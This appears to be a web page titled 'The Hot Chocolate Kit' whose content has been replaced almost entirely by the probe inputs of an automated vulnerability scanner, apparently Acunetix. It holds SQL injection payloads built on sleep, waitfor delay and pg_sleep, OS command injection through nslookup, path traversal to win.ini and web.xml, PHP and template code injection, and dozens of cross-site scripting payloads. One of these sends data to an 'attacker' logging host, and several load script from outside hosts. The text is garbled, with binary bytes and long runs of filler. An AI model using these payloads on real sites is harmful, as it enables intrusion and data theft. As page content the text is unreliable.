THE HOT CHOCOLATE KIT

1

1

response.write(9618070*9057594)

1

set|set&set

XH8q6XTI

$(nslookup okmqbOdH)

'+response.write(9618070*9057594)+'

"+response.write(9618070*9057594)+"

1

GmmlZSpG

1

&nslookup vCp0hSpI&'\"`0&nslookup vCp0hSpI&`'

1

1

../../../../../../../../../../windows/win.ini

C:\WINDOWS\system32\drivers\etc\hosts

-1 OR 2+922-922-1=0+0+0+1 --

${9999266+9999113}

12345'"\'\");|]*{
<>�''💩

../../../../../../../../../../windows/win.ini.jpg

-1 OR 2+670-670-1=0+0+0+1

1

������������������������������������������������windows��win.ini

1

................windowswin.ini

-1' OR 2+91-91-1=0+0+0+1 --

1

-1' OR 2+165-165-1=0+0+0+1 or 'hXiuANK8'='

1

1

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

-1" OR 2+409-409-1=0+0+0+1 --

..\..\..\..\..\..\..\..\windows\win.ini

1

1

1some_inexistent_file_with_long_name.jpg

if(now()=sysdate(),sleep(19),0)/*'XOR(if(now()=sysdate(),sleep(19),0))OR'"XOR(if(now()=sysdate(),sleep(19),0))OR"*/

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

Http://testasp.vulnweb.com/t/fit.txt

../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini

(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/

1&n902599=v924455

-1; waitfor delay '0:0:6' --

http://testasp.vulnweb.com/t/fit.txt?.jpg

1

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini

testasp.vulnweb.com

unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\

-1); waitfor delay '0:0:6' --

WEB-INF/web.xml

)

-1); waitfor delay '0:0:13' --

1

WEB-INF\web.xml

1

;print(md5(acunetix_wvs_security_test));

'"()

';print(md5(acunetix_wvs_security_test));$a='

!(()&&!|*|*|

1

";print(md5(acunetix_wvs_security_test));$a="

^(#$!@#$)(()))******

-1)); waitfor delay '0:0:6' --

1

http://testasp.vulnweb.com/t/xss.html?%00.jpg

1

1

${@print(md5(acunetix_wvs_security_test))}

1

1

1

1

${@print(md5(acunetix_wvs_security_test))}\

1

-1)); waitfor delay '0:0:13' --

the-hot-chocolate-kit

1

1

1

1

1

http://hitik5OVTmhvq.bxss.me/

1

1

the-hot-chocolate-kit

1 waitfor delay '0:0:6' --

1

the-hot-chocolate-kit/.

1 waitfor delay '0:0:19' --

1

1'"

YnMWkZyn'; waitfor delay '0:0:6' --

1

1

\

Ao48dvPj'); waitfor delay '0:0:13' --

1

1

1

1

1

1

1����%2527%2522

1

1

pMNV3Tmd')); waitfor delay '0:0:13' --

@@rsS7y

JyI=

-1;select pg_sleep(13); --

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

-1);select pg_sleep(13); --

-1));select pg_sleep(13); --

1

rGHiNBvY';select pg_sleep(13); --

/www.vulnweb.com

�'�"

75wvOn6T');select pg_sleep(19); --

'"

�''�""

1'"()&%<acx><ScRiPt >r15E(9356)</ScRiPt>

Ejc28wOH'));select pg_sleep(19); --

1

<!--

1

718'

1

1

1

'"()&%<acx><ScRiPt >r15E(9362)</ScRiPt>

1

1

1

19204765

1

1

1

acu4215＜s1﹥s2ʺs3ʹuca4215

1

1

1

acux10721��z1��z2a�bcxuca10721

1

1

CWS000x�=�1N�@E߮��I)�@��  �HiP"D�F�G&َ7��܂�rX;!S��̛����7Jq���.�
>�p�c�l��zG�ܾM�dkj�,��(��T�Jj)�"�T7$��H�D6)�x)��ؒ�\C�|�Q�Nc�b��� b_&�5 h��g�
]s��0Q�L<�6�L�_�w~�[�/[�m{����:n-����.�d1d��?6�0

{{9999999*9999138}}

1

1

1<ScRiPt >r15E(9207)</ScRiPt>

1

1

1

1

1

1

1

1

1

1<WNHSZ6>GDIPV[!+!]</WNHSZ6>

1

1<script>r15E(9342)</script>

1

1

1

1

1<ScR<ScRiPt>IpT>r15E(9955)</sCr<ScRiPt>IpT>

1

1<ScRiPt
>r15E(9460)</ScRiPt>

1

1

1

1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9069></ScRiPt>

1

-1 OR 2+922-922-1=0+0+0+1 --

1

1

1<ScRiPt
>r15E(9356)</ScRiPt>

1

1<video><source onerror="javascript:r15E(9925)">

1<svg  

�onload=r15E(9912);>

1<isindex type=image src=1 onerror=r15E(9949)>

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9538'>

1<body onload=r15E(9695)>

1<img src=//testasp.vulnweb.com/t/dot.gif onload=r15E(9623)>

1<img src=xyz OnErRor=r15E(9151)>

1<img/src=">" onerror=alert(9908)>

%31%3C%53%63%52%69%50%74%20%3E%72%31%35%45%289410%29%3C%2F%73%43%72%69%70%54%3E

1\u003CScRiPt\r15E(9930)\u003C/sCripT\u003E

1<ScRiPt
>r15E(9356)</ScRiPt>

1&lt;ScRiPt&gt;r15E(9919)&lt;/sCripT&gt;

�<img acu onmouseover=r15E(9879) //�>

1<input autofocus onfocus=r15E(9344)>

<a HrEF=http://www.vulnweb.com></a>

<a HrEF=jaVaScRiPT:>

[url=http://www.vulnweb.com][/url]

1<img<!-- --> src=x onerror=alert(9351);//><!-- -->

1}body{acu:Expre/**/SSion(r15E(9161))}

1<% contenteditable onresize=r15E(9265)>

1giVrQ
<ScRiPt >r15E(9205)</ScRiPt>

1<WHDCLU>TK0L2[!+!]</WHDCLU>

1<ifRAme sRc=9394.com></IfRamE>

1<NblB9O x=9489>

1<img sRc='http://attacker-9116/log.php?

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1